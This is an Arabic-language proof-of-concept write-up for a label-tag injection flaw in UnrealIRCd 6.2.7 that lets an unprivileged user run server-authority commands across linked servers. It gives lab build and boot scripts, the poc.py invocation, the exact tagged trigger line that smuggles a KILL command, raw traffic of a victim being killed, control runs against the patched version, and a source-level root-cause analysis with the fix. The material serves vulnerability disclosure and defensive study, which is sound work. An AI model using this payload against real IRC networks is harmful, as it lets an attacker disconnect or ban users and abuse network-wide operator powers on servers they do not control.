
POC لـ CVE-2026-114713 - حقن وسم التسمية IRCv3 في UnrealIRCd يرفع رسالة عميل غير مميز إلى سلطة أوامر من خادم إلى خادم على الشبكات المرتبطة بالخوادم. تتضمن عناصر التحكم النسخة المصابة 6.2.7 مقابل النسخة المُصلحة 6.2.7.1.
تعيد وحدة labeled-response بث وسم الرسالة "label" الخاص بـ IRCv3 والمُقدَّم من العميل
داخل الردود دون تهريب. تصل قيمة label التي تحتوي على سطر جديد بصيغة
هروب الوسم القياسي في IRCv3 وهو \n، فيقوم الخادم بفك هروبها إلى LF حقيقي
ثم يكتبها مرة أخرى خامًا. وعندما يُوجَّه الطلب الموسوم إلى خادم آخر
(فإن WHOIS <server> <nick> بمعاملين يفعل ذلك بالضبط)، يعبر الرد
الرابط بين الخادمين حاملًا ذلك LF الخام. يحلل الخادم المستقبل سطرًا واحدًا
إلى سطرين، والسطر الثاني - وهو نص يختاره المهاجم ملتصق بالرد -
يُنفَّذ كأمر يرسله نظيره الموثوق. في IRC تتجاوز الرسالة الواردة من خادم
مرتبط فحوصات الصلاحيات المطبقة على العملاء، لذا يمكن لمستخدم عادي
تشغيل KILL وGLINE وأوامر أخرى مخصصة للخادم/IRCOp فقط على مستوى الشبكة برسالة
عميل واحدة. تم الإصلاح في 6.2.7.1 وحزمة الترقيع السريع bundle-20261107؛ وأُدرجت في KEV
في 2026-11-13 وتم استغلالها فعليًا.
bundle-20261107 على 6.0.0 - 6.2.7 (دون إعادة تشغيل)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)شغّل المختبر (خادمان مرتبطان ومتأثران على 127.0.0.1:6667/6668، والبنية نفسها على 6.2.7.1، بالإضافة إلى تحكم بخادم واحد):
./setup/build-lab.sh # builds 6.2.7 + 6.2.7.1 from the official tarballs
./setup/boot-lab.sh # boots hub, leaf, single, fixed-hub, fixed-leaf
# or: docker compose up -d vuln-hub vuln-leaf vuln-single fixed-hub fixed-leaf
أطلق المحفّز (المهاجم والضحية على الطرف، وهدف WHOIS على المحور):
python3 poc.py --host 127.0.0.1 --port 6668 --hub-host 127.0.0.1 --hub-port 6667
--host/--port هو الطرف الذي يتصل به المهاجم والضحية؛ و--hub-host/--hub-port
هو الخادم البعيد الذي يحمل هدف WHOIS؛ و--whois-server هو الاسم المستخدم في
WHOIS الموجَّه. عناصر التحكم: المدخل نفسه ضد الشبكة المُصلحة
(--port 6678 --hub-port 6677) وضد خادم واحد
(--host 127.0.0.1 --port 6687 --single --whois-server single.example.net).
وجّه هذا فقط إلى خوادم IRC التي تملكها.
تشغيل المحفّز ضد الشبكة المرتبطة المتأثرة (الالتقاط الخام:
evidence/01-vulnerable-linked-network-trigger.txt). أولًا الفحص المسبق - يُرفض أمر KILL نفسه
عند إرساله مباشرة، مما يثبت أن المهاجم لا يملك صلاحيات مشغّل:
--- atk(attacker) raw traffic ---
KILL vic :direct-attempt
:leaf.example.net 481 atk :Permission Denied- You do not have the correct IRC operator privileges
ثم سطر موسوم واحد (تظهر هروبات الوسم كما تُرسل على الشبكة):
[*] trigger line (wire bytes): b'@label=p\\nKILL\\svic\\s:CVE-2026-114713 WHOIS hub.example.net wt\r\n'
مقبس الضحية - قُتل بواسطة أمر منسوب إلى الخادم البعيد SERVER:
--- vic(kill-victim) raw traffic ---
:hub.example.net KILL vic :CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response
ERROR :Closing Link: vic[localhost] (Killed by hub.example.net (CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response))
[*] verdict
[!] VULNERABLE: victim 'vic' was killed by a command that arrived
attributed to the remote SERVER - authority no IRC user has.
يشير سجل الخادم على مضيف الضحية إلى القاتل بوصفه خادمًا
(evidence/04-server-log-detection.txt):
leaf.example.net kill.KILL_COMMAND info: Client killed: vic!vic@localhost [by: hub.example.net] (CVE-2026-114713 ...)
التحكم A - نفس المدخل على الشبكة المرتبطة المُصلَّحة 6.2.7.1
(evidence/02-control-fixed-6.2.7.1-linked-network.txt): تحتوي قيمة التسمية
على سطر جديد، لذا يرفض الإصلاح الوسم بأكمله؛ وتعود أرقام WHOIS
كأسطر عادية غير موسومة ويبقى الضحية متصلًا:
:hub.example.net 311 atk wt wt Clk-BF919CEF * wt
:hub.example.net 318 atk wt :End of /WHOIS list.
[=] NO server-authority execution observed (victim still online).
التحكم B - نفس المدخل على خادم واحد قابل للاستغلال، دون روابط
(evidence/03-control-single-server-precondition.txt): لا تُكتب التسمية غير المُهرَّبة
إلا في مقبس المهاجم نفسه؛ ولا شيء يُنفَّذ:
[=] CONTROL HOLDS (single-server): no server-authority command executed.
تنتظم ثلاث قطع في src/modules/labeled-response.c:
تُفكّ تهريب قيم الوسوم عند الاستلام (message_tag_unescape() في
src/modules/message-tags.c يحوّل تهريبات IRCv3 \n \r \s \: إلى
LF/CR/مسافة/فاصلة منقوطة حقيقية). لا يرسل العميل سطرًا جديدًا خامًا أبدًا؛
بل يصنع الخادم واحدًا من بايتين قابلين للطباعة.
في 6.2.7 يقبل مدقّق الوسوم أي شيء يرسله عميل يحمل cap حتى 64 بايتًا - لا يوجد فحص للأحرف على القيمة:
int labeled_response_mtag_is_ok(Client *client, const char *name, const char *value)
{
if (BadPtr(value))
return 0;
if (IsServer(client))
return 1;
...
if (strlen(value) <= 64)
return 1;
ثم تُنسّق الوحدة تلك القيمة المخزّنة في أسطر الرد باستدعاءات
snprintf خام - gen_start_batch() يبني "@label=%s :%s BATCH +%s labeled-response", lr_post_command() builds "@label=%s%s%s" - متجاوزًا
message_tag_escape()، الذي تستخدمه كل مسارات الإخراج الأخرى. بالنسبة لرد
يُوجَّه إلى عميل موسوم بعيد، يكتب lr_packet() هذا المخزن المؤقت إلى
رابط الخادم، لذا يقسم LF داخل التسمية التدفق عند النظير الموثوق:
السطر الأول مقطع وسم @label=p قصير غير ضار، والسطر الثاني هو
ما ألحقه المهاجم، ويُنفَّذ كأمر من الخادم المرتبط.
يُعدّ WHOIS ذا المعاملين الناقل الأنظف لأنه يُمرّر
إلى خادم الهدف ويضمن ردًا موسومًا يعود عبر الرابط.
إصلاح 6.2.7.1 هو بالضبط الفحص المفقود (أول مقطع فرق في الإصدار):
if (strpbrk(value, " ;\\\r\n"))
return 0;
تُسقَط أي تسمية تحتوي على مسافة أو فاصلة منقوطة أو شرطة مائلة عكسية أو CR أو LF قبل أن تُخزَّن أصلًا، لذا لا يصل أي بايت غير قابل للتهريب إلى منسّق الرد.